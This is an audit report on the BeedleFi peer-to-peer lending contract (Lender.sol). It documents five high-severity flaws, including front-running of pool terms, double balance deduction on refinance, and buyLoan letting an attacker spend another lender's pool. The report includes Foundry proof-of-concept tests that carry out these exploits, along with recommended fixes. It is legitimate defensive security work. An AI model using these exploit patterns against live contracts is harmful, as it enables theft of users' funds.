Protocol Audit Report

Version 1.0

lealCodes

January 12, 2024

BeedleFi Audit Report

lealCodes

Aug 28th, 2023

Prepared by: Leal

Table of Contents

Protocol Summary

Oracle free peer to peer perpetual lending protocol.

Disclaimer

lealCodes makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Contest Summary

Sponsor: BeedleFi

Dates: Jul 24th, 2023 - Aug 7th, 2023

Results Summary

Number of findings:

- High: 5
- Medium: 0
- Low: 0

High Risk Findings

H-01. Non-standard ERC20 tokens opens the contract to vulnerabilities and loss of funds.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L152C13-L152C45

Summary

The protocol allows users to choose what ERC20 tokens to set up their pools with and do not limit what tokens are allowed.

In the current implementation the `Lender.sol` contract is open to vulnerabilities involving ERC20 tokens that do not revert when a transaction fails and tokens that have a fee-on-transfer.

Vulnerability Details

ERC20 tokens that do not revert when `transfer` or `transferFrom` fails:

Here a malicious lender can call `setPool` with a high poolBalance and not approve the `Lender.sol` contract to spend their ERC20 `loanToken`. If the malicious user is setting their loan token to one that does not revert on transfer fail (examples are ZRX, USDT) the following line of code would silently fail:

```
1  IERC20(p.loanToken).transferFrom(p.lender, address(this), p.poolBalance
       - currentBalance);
```

The malicious lender would then have successfully created a pool with whatever balance they specified without sending the funds to the `Lender.sol` contract. That lender would then be able to call the `removeFromPool` function and steal the funds being held in the contract for other legitimate pools.

ERC20 tokens that have a fee-on-transfer:

Some tokens implement a fee-on-transfer mechanism (examples are STA, PAXG), meaning that the actual value transferred won't be `amount` but it will actually be `amount - fee`. This can create many problems in `Lender.sol` as it assumes the amount received or transferred when using `transfer` or `transferFrom` is always the full amount specified.

Impact

This vulnerability has been listed as high as the likelihood of it happening is high since users can choose any ERC20 tokens they want to set up their pools and the impact can be users losing their funds.

Tools Used

Manual Review.

Recommendations

Use OpenZeppelin's `SafeERC20` library and its `safe` methods for ERC20 transfers. For fee-on-transfer tokens, check the balance before and after `transfer` and `transferFrom` and use the difference between the two as the actual transferred value.

I also recommend the protocol to take a look at the following link to ensure that the protocol is ready to handle all ERC20s.

https://github.com/d-xo/weird-erc20

H-02. Frontrunning can cause a borrower to borrow at an unexpected interest rate and auction length which can lead to lost funds

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L232C5-L260C16

Summary

Let's say a malicious lender initiates a pretty standard pool where the interest rate is 10%, the auction length is 1 day, and other parameters such as maxLoanRatio all make sense.

An user might see that pool and decide to borrow from it. So that user initiates a transaction with the `borrow()` function in Lender.sol.

That transaction initiated by the user can be frontrunned by the lender of that pool, where the lender uses the `setPool()` function and updates their pool's interest rate to be equal to the max interest rate and the auction length to be equal to 1 second, causing the user to take out a loan with different parameters than expected.

Vulnerability Details

Below is a POC illustrating how the lender can re-set their pool parameters and the user has no say on what loan parameters they are expecting.

```
function test_frontRunnedBorrowerTransation() public {
        // lender sets up his initial pool with good parameters
        vm.startPrank(lender1);
        Pool memory p_1 = Pool({
            lender: lender1,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        bytes32 poolId_1 = lender.setPool(p_1);

        (,,,, uint256 poolBalance,,,,) = lender.pools(poolId_1);
        assertEq(poolBalance, 1000 * 10 ** 18);
        (,,,,,,,uint256 interestRate,) = lender.pools(poolId_1);
        assertEq(interestRate, 1000);

        // vm.startPrank(borrower);
        Borrow memory b = Borrow({poolId: poolId_1, debt: 100 * 10 **
            18, collateral: 100 * 10 ** 18});
        Borrow[] memory borrows = new Borrow[](1);
        borrows[0] = b;

        // before lender can borrow he can have his transaction
            frontrunned by a malicious lender to quickly change the
        // auction length and interest rate
         Pool memory p_1_modified = Pool({
            lender: lender1,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 seconds,
            interestRate: 100000,
            outstandingLoans: 0
        });
        bytes32 poolId_1_modified = lender.setPool(p_1_modified);
        assertEq(poolId_1, poolId_1_modified);
        (,,,,,,,uint256 interestRate_changed,) = lender.pools(
            poolId_1_modified);
```

```
43          assertEq(interestRate_changed, 100000);
44
45          vm.startPrank(borrower);
46          lender.borrow(borrows);
47
48          (,,,,,,uint256 loanInterestRate,,,) = lender.loans(0);
49          assertEq(loanInterestRate, interestRate_changed);
50
51      }
```

Impact

Scenario 1 - the borrower realizes their loan has the wrong parameters and immediately exit their position:

1. This could cause loss of trust on the protocol

Scenario 2 - the borrower does not realize the loan they received do not contain the expected parameters:

1. This could cause the borrower to keep borrowing at an unexpectedly high interest rate.
2. The malicious lender could start an auction that would only last 1 second. The lender could then use the `seizeLoan()` function in Lender.sol to claim the borrower's collateral.

Tools Used

Manual Review & Foundry.

Recommendations

A possible solution to this could be to have one more parameter in the `Borrow` struct that is used as an input in the `borrow()` function. This parameter would represent what loan characteristics the borrower is expecting. That parameter could be a struct of Pool, or simply the expected interest rate and auction length. The code could then use those extra parameters to verify that the pool parameters the borrowers expect still equal the current parameters of the pool, and if it does then the protocol can continue to allow the borrowing to proceed, and if it does not the transaction would be reverted.

H-03. Every time a refinance happens, the pool receiving the loan has its balance decreased by twice the correct amount

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L636C13-L637C52

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L698C13-L698C47

Summary

In the function `refinance` in Lender.sol the new pool has its balance updated twice. This results in the new pool being reduced by `2 * debt`, while the loan being given out is only `debt`. The end result of this ends up being that the lender of that new pool won't be able to withdraw all of their funds since the pool balance will be lower than what it is supposed to be. Those lost funds will stay stuck in the smart contract.

Vulnerability Details

below are the two lines of code seen within the refinance function that causes the problem.

```
...

// now lets deduct our tokens from the new pool
_updatePoolBalance(poolId, pools[poolId].poolBalance - debt);

...

// update pool balance
pools[poolId].poolBalance -= debt;

...
```

Below is a test illustrating the issue. This is coded within the test suite of the protocol.

```
function test_refinance() public {
        test_borrow();

        vm.startPrank(lender2);
        Pool memory p_2 = Pool({
            lender: lender2,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
```

```
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        bytes32 poolId_2 = lender.setPool(p_2);

        vm.startPrank(borrower);
        Refinance memory r = Refinance({
            loanId: 0,
            poolId: keccak256(abi.encode(address(lender2), address(
                loanToken), address(collateralToken))),
            debt: 100 * 10 ** 18,
            collateral: 100 * 10 ** 18
        });
        Refinance[] memory rs = new Refinance[](1);
        rs[0] = r;

        lender.refinance(rs);

        assertEq(loanToken.balanceOf(address(borrower)), 995*10**17);
        assertEq(collateralToken.balanceOf(address(lender)),
            100*10**18);

        // adding an extra assert in this test to show that debt is
            subtracted twice from
        (,,,,uint256 poolBalance_2,,,,) = lender.pools(poolId_2);
        assertEq(poolBalance_2, 900*10**18); // this assert should fail
             since the debt is being subtracted twice
    }
```

as expected that extra assert will fail since debt is being subtracted twice.

```
forge test --match-test test_refinance -vv

Running 1 test for test/Lender.t.sol:LenderTest
[FAIL. Reason: Assertion failed.] test_refinance() (gas: 865619)
Logs:
  Error: a == b not satisfied [uint]
    Expected: 900000000000000000000
      Actual: 800000000000000000000
```

That lender will then not be able to withdraw all of his funds since the pool balance is lower than it's supposed to be (`removeFromPool()` reverts if amount requested out is bigger than pool balance).

Impact

Lenders will have part of their funds stuck in the Lender.sol smart contract every time their pool is used as the destination of a refinance.

Tools Used

Foundry & Manual Review.

Recommendations

Only subtract the debt from the new pool's balance once.

H-04. buyLoan function in Lender.sol does not check for Token mismatch between `loan` and `pool` causing borrowers to lose collateral funds

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L465C5-L534C6

Summary

`buyLoan` function does not check if `pools[poolId]` and `loans[loanId]` have the same `loanToken` and `collateralToken`. Because of this a lender can buy a loan with a pool that uses different `loanToken` and `collateralToken`. This results in the borrower of the loan not being able to pay his debt, which means the borrower will lose his collateral. The lender that purchased the loan with the mismatched token pool can end up getting that borrower's collateral (The process of claiming the collateral here is not very straightforward since the lender would have to start an auction, wait for it to end, then in one transaction create a pool with the correct tokens and `seizeLoan()` the user). If a legitimate pool buys the loan from the mismatched token pool during the auction the borrower would be able to repay the loan.

Vulnerability Details

Below is a proof of concept illustrating the vulnerability. This is coded within the test suite of the protocol with the following code written to create another set of `loanTokens` and `collateralTokens`.

```
// @audit adding these so we have pools with different tokens
TERC20 public loanToken_2;
TERC20 public collateralToken_2;

loanToken_2 = new TERC20();
collateralToken_2 = new TERC20();
```

POC:

```
function test_MissingTokenMatchCheckOnBuyLoanFunction() public {
        // mint some of the new tokens to the lenders and borrower
        loanToken_2.mint(address(lender1), 100000 * 10 ** 18);
        loanToken_2.mint(address(lender2), 100000 * 10 ** 18);
        collateralToken_2.mint(address(borrower), 100000 * 10 ** 18);

        // approve lender contract to spend the tokens
        vm.startPrank(lender1);
        loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
        collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);
        vm.startPrank(lender2);
        loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
        collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);
        vm.startPrank(borrower);
        loanToken_2.approve(address(lender), 1000000 * 10 ** 18);
        collateralToken_2.approve(address(lender), 1000000 * 10 ** 18);

        // setting up lender1's pool
        vm.startPrank(lender1);
        Pool memory p_1 = Pool({
            lender: lender1,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        bytes32 poolId_1 = lender.setPool(p_1);

        // setting up lender2's pool
        vm.startPrank(lender2);
        Pool memory p_2 = Pool({
            lender: lender2,
            loanToken: address(loanToken_2),
            collateralToken: address(collateralToken_2),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        bytes32 poolId_2 = lender.setPool(p_2);

        // now lets have borrower borrow from lender 1 so there's a
           loan to sell
```

```
49          vm.startPrank(borrower);
50          Borrow memory b = Borrow({poolId: poolId_1, debt: 100 * 10 **
                18, collateral: 100 * 10 ** 18});
51          Borrow[] memory borrows = new Borrow[](1);
52          borrows[0] = b;
53          lender.borrow(borrows);
54
55          assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 **
                17);
56          assertEq(collateralToken.balanceOf(address(lender)), 100 * 10
                ** 18);
57          (,,,, uint256 poolBalance,,,,) = lender.pools(poolId_1);
58          assertEq(poolBalance, 900 * 10 ** 18);
59
60          // now lender 1 starts an auction
61          vm.startPrank(lender1);
62
63          uint256[] memory loanIds = new uint256[](1);
64          loanIds[0] = 0;
65
66          lender.startAuction(loanIds);
67
68          // warp to middle of auction
69          vm.warp(block.timestamp + 12 hours);
70
71          // Lender 2 who has different loan and collateralToken buys the
                 loan
72          vm.startPrank(lender2);
73          lender.buyLoan(0, poolId_2);
74          console.log(address(loanToken));
75          console.log(address(collateralToken));
76          console.log(address(loanToken_2));
77          console.log(address(collateralToken_2));
78
79          // now lender 2 owns the loan even though his pool's tokens do
                not match the loans token
80          // this results in the borrower not being able to pay his loan
81          vm.startPrank(borrower);
82          loanToken_2.mint(address(borrower), 100000 * 10 ** 18);
83          loanToken.mint(address(borrower), 100000 * 10 ** 18);
84
85          // expect this to revert
86          vm.expectRevert();
87          lender.repay(loanIds);
88
89          // Comment out the above two SLOC and uncomment the ones below
                to see that calling a refinance also does not work
90          // Refinance memory refinance = Refinance({
91          //     loanId: 0,
92          //     poolId: poolId_1,
93          //     debt: 100 * 10 ** 18,
```

```
94          //     collateral: 100 * 10 ** 18
95          // });
96
97          // Refinance[] memory refinance_array = new Refinance[](1);
98          // refinance_array[0] = refinance;
99
100         // vm.expectRevert();
101         // lender.refinance(refinance_array);
102     }
```

Impact

Lenders, maliciously or accidentally, can cause borrowers to lose their collateral since they are not able to repay their debt or call the refinance function.

Lenders have motivation to act maliciously here since they could end up gaining the lost collateral.

Since loans will most definitely be required to be over-collateralized this will cause a big loss for the borrowers.

Tools Used

Foundry & Manual Review.

Recommendations

add the following code to `buyLoan` function, in order to check that the tokens on the loan match the tokens on the pool.

```
1 if (pools[poolId].loanToken != loans[loanId].loanToken) {
2    revert TokenMismatch();
3 }
4 if (pools[poolId].collateralToken != loans[loanId].collateralToken) {
5    revert TokenMismatch();
6 }
```

H-05. buyLoan function in Lender.sol allows an attacker to buy a loan in an auction using another lender's funds

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L518C6-L518C6

Summary

In Lender.sol anyone is allowed to call the `buyLoan` function and it is up to the user to input the `loanId` and the `poolId`. However, later in the function when assigning the new owner of the loan, the protocol assigns it to `msg.sender` which results in an user being able to acquire the loan while using another pool's funds. This user would then receive the loan payment when the borrower decides to repay.

The attacker could also be the one hosting the auction and using another pool's funds to buy the loan, effectively taking the other pool's funds while still owning the loan.

Vulnerability Details

Below is a proof of concept illustrating the vulnerability. This is coded within the test suite of the protocol with the attacker address being set to `address public attacker = address(0x5);`

```
function test_userBuysLoanFromAnAuctionWithPoolHeIsNotTheLenderFor() public {
        // give attacker some funds to start with
        loanToken.mint(address(attacker), 100000 * 10 ** 18);
        collateralToken.mint(address(attacker), 100000 * 10 ** 18);

        test_borrow();
        // accrue interest
        vm.warp(block.timestamp + 364 days + 12 hours);
        // kick off auction
        vm.startPrank(lender1);

        uint256[] memory loanIds = new uint256[](1);
        loanIds[0] = 0;

        lender.startAuction(loanIds);

        vm.startPrank(lender2);
        Pool memory p_2 = Pool({
            lender: lender2,
            loanToken: address(loanToken),
            collateralToken: address(collateralToken),
            minLoanSize: 100 * 10 ** 18,
            poolBalance: 1000 * 10 ** 18,
            maxLoanRatio: 2 * 10 ** 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        bytes32 poolId_lender2 = lender.setPool(p_2);
```

```
30
31          // lender3 (attacker) creates same pool as lender 2
32
33          vm.startPrank(attacker);
34
35          Pool memory p_3 = Pool({
36              lender: attacker,
37              loanToken: address(loanToken),
38              collateralToken: address(collateralToken),
39              minLoanSize: 100 * 10 ** 18,
40              poolBalance: 1000 * 10 ** 18,
41              maxLoanRatio: 2 * 10 ** 18,
42              auctionLength: 1 days,
43              interestRate: 1000,
44              outstandingLoans: 0
45          });
46
47          bytes32 poolId_attacker = lender.setPool(p_3);
48
49          // warp to middle of auction
50          vm.warp(block.timestamp + 12 hours);
51
52          // lender 3 (attacker) buys loan and becomes loan.lender, uses
                lender2's pool to buy the loan
53          (,,,,uint256 attacker_pool_beforeBuyingLoan,,,,) = lender.pools(
                poolId_attacker);
54          (,,,,uint256 lender2_pool_beforeBuyingLoan,,,,) = lender.pools(
                poolId_lender2);
55
56          lender.buyLoan(0, poolId_lender2);
57
58          (,,,,uint256 attacker_pool_afterBuyingLoan,,,,) = lender.pools(
                poolId_attacker);
59          (,,,,uint256 lender2_pool_afterBuyingLoan,,,,) = lender.pools(
                poolId_lender2);
60
61          assertEq(attacker_pool_beforeBuyingLoan,
                attacker_pool_afterBuyingLoan);
62          assertGt(lender2_pool_beforeBuyingLoan,
                lender2_pool_afterBuyingLoan);
63
64          // assert that we paid the interest and new loan is in our name
65          assertEq(lender.getLoanDebt(0), 110 * 10 ** 18);
66
67          // assert that attacker is the lender of this loan (without his
                pool losing funds)
68          (address lender_ownsLoan,,,,,,,,,) = lender.loans(0);
69          assertEq(lender_ownsLoan, attacker);
70
71          // before repay, attacker needs to have an outstandingloan
                bigger than what is being repayed (so when repayed debt is
```

```
            paid it does not revert)
72          // he can simply borrow from his own pool and the only losses he
                occurs is gas and fee payments which should be lower than
            the gains
73          Borrow memory b_attacker = Borrow({poolId: poolId_attacker, debt
            : 200*10**18, collateral: 200*10**18});
74          Borrow[] memory borrows_attacker = new Borrow[](1);
75          borrows_attacker[0] = b_attacker;
76          lender.borrow(borrows_attacker);
77
78           // now user or borrower pays back the loan and we will see that
                attacker's pool grow but lender2 does not
79          (,,,,uint256 lender2_pool_beforeRepay,,,,) = lender.pools(
            poolId_lender2);
80          (,,,,uint256 attacker_pool_beforeRepay,,,,) = lender.pools(
            poolId_attacker);
81
82          vm.startPrank(borrower);
83          loanToken.mint(address(borrower), 50 * 10 ** 18);
84          lender.repay(loanIds);
85
86          (,,,,uint256 lender2_pool_afterRepay,,,,) = lender.pools(
            poolId_lender2);
87          (,,,,uint256 attacker_pool_afterRepay,,,,) = lender.pools(
            poolId_attacker);
88
89          assertEq(lender2_pool_afterRepay, lender2_pool_beforeRepay);
90          assertGt(attacker_pool_afterRepay, attacker_pool_beforeRepay);
91
92      }
```

Impact

This vulnerability puts all lender's funds at risk, as their pool's balance can be used by other users to buy loans for themselves.

Tools Used

Manual review & Foundry.

Recommendations

Two possible solutions:

The first is to restrict the function by requiring the `msg.sender` to be equal to `pools[poolId].lender`

The second solution is when updating the loan with the new info in `buyLoan` you should substitute `loans[loanId].lender = msg.sender;` with `loans[loanId].lender = pools[poolId].lender`